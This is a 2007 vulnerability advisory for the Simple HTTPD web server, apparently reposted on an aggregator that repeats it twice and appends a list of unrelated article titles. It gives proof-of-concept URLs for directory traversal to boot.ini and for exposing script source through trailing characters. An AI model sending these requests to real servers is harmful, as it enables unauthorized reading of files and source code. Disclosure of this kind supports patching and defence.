Two vulnerabilities in Simple HTTPD 1.38
来源:互联网 发布:左手 知乎 编辑:程序博客网 时间:2024/05/22 01:45
#######################################################################
Luigi Auriemma
Application: Simple HTTPD
http://shttpd.sourceforge.net
Versions: <= 1.38
Platforms: Windows, *nix, QNX, RTEMS
only Windows seems vulnerable
Bugs: A] directory traversal
B] scripts and CGI viewing/downloading
(%20 char found by Shay priel in Jun 2007)
Exploitation: remote
Date: 07 Dec 2007
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
#######################################################################
1) Introduction
2) Bugs
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
Simple HTTPD (shttpd) is an open source web server created for embedded
systems.
#######################################################################
=======
2) Bugs
=======
----------------------
A] directory traversal
----------------------
Using the "../" pattern is possible to download any file in the disk on
which is located the web root directory.
--------------------------------------
B] scripts and CGI viewing/downloading
--------------------------------------
Any script or CGI in the server can be viewed/downloaded instead of
being executed simply appending the chars '+', '.', %20 (this one
reported by Shay priel in the summer 2007), %2e and any other byte (in
hex format too) major than 0x7f to the requested filename.
Note that only Windows seems vulnerable to the above bugs.
#######################################################################
===========
3) The Code
===========
A]
http://SERVER/../../../boot.ini
http://SERVER/../%2e%2e%5c../boot.ini
B]
http://SERVER/file.php+
http://SERVER/file.php.
http://SERVER/file.php%80
http://SERVER/file.php%ff
#######################################################################
======
4) Fix
======
I have posted the problems in the shttpd-general mailing-list but there
is no reply yet:
http://sourceforge.net/mailarchive/forum.php?forum_name=shttpd-general
#######################################################################
Luigi Auriemma
Application: Simple HTTPD
http://shttpd.sourceforge.net
Versions: <= 1.38
Platforms: Windows, *nix, QNX, RTEMS
only Windows seems vulnerable
Bugs: A] directory traversal
B] scripts and CGI viewing/downloading
(%20 char found by Shay priel in Jun 2007)
Exploitation: remote
Date: 07 Dec 2007
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
#######################################################################
1) Introduction
2) Bugs
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
Simple HTTPD (shttpd) is an open source web server created for embedded
systems.
#######################################################################
=======
2) Bugs
=======
----------------------
A] directory traversal
----------------------
Using the "../" pattern is possible to download any file in the disk on
which is located the web root directory.
--------------------------------------
B] scripts and CGI viewing/downloading
--------------------------------------
Any script or CGI in the server can be viewed/downloaded instead of
being executed simply appending the chars '+', '.', %20 (this one
reported by Shay priel in the summer 2007), %2e and any other byte (in
hex format too) major than 0x7f to the requested filename.
Note that only Windows seems vulnerable to the above bugs.
#######################################################################
===========
3) The Code
===========
A]
http://SERVER/../../../boot.ini
http://SERVER/../%2e%2e%5c../boot.ini
B]
http://SERVER/file.php+
http://SERVER/file.php.
http://SERVER/file.php%80
http://SERVER/file.php%ff
#######################################################################
======
4) Fix
======
I have posted the problems in the shttpd-general mailing-list but there
is no reply yet:
http://sourceforge.net/mailarchive/forum.php?forum_name=shttpd-general
#######################################################################
- Two vulnerabilities in Simple HTTPD 1.38
- Multiple vulnerabilities in XAMPP
- Privilege escalation vulnerabilities in Nagios XI installer
- Checking For Vulnerabilities in Path Fragments
- Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer
- Kernel Vulnerabilities in the Samsung S4
- About Two Recently Patched IBM DB2 LUW Vulnerabilities
- Finding all possible simple paths (paths without cycles) between two vertices in a graph
- Multiple Vulnerabilities with 8.3 Filename Pseudonyms in Web Servers
- Multiple Vulnerabilities with 8.3 Filename Pseudonyms in Web Servers
- Finding vulnerabilities in PHP scripts FULL ( with examples )
- HTTP Response Splitting and XSS vulnerabilities in IBM Lotus Domino
- [waraxe-2013-SA#103] - Multiple Vulnerabilities in phpMyAdmin
- BF and IA vulnerabilities in IBM Lotus Domino
- Multiple vulnerabilities in Cacti 0.8.8b and lower
- Summary of Critical and Exploitable iOS Vulnerabilities in 2016
- simple query in prolog
- Simple socket in Java
- CSS+JS副选框
- 每天至少喝八杯水?以讹传讹的七大医学误区
- 美国两位计算机系教授:Java对学生有害
- RegQueryValueEx函数使用
- windows mobile
- Two vulnerabilities in Simple HTTPD 1.38
- VC++简明教程
- VC常见问题
- mfc消息处理和消息映射的概念
- Java不适合于作为主要编程教学语言
- 写给C语言初学者的话 [转载]
- [C++ BCB] bcb线程
- 微软的招聘哲学—做微软人的五大核心素质和招聘的四项基本原则
- 图形设备接口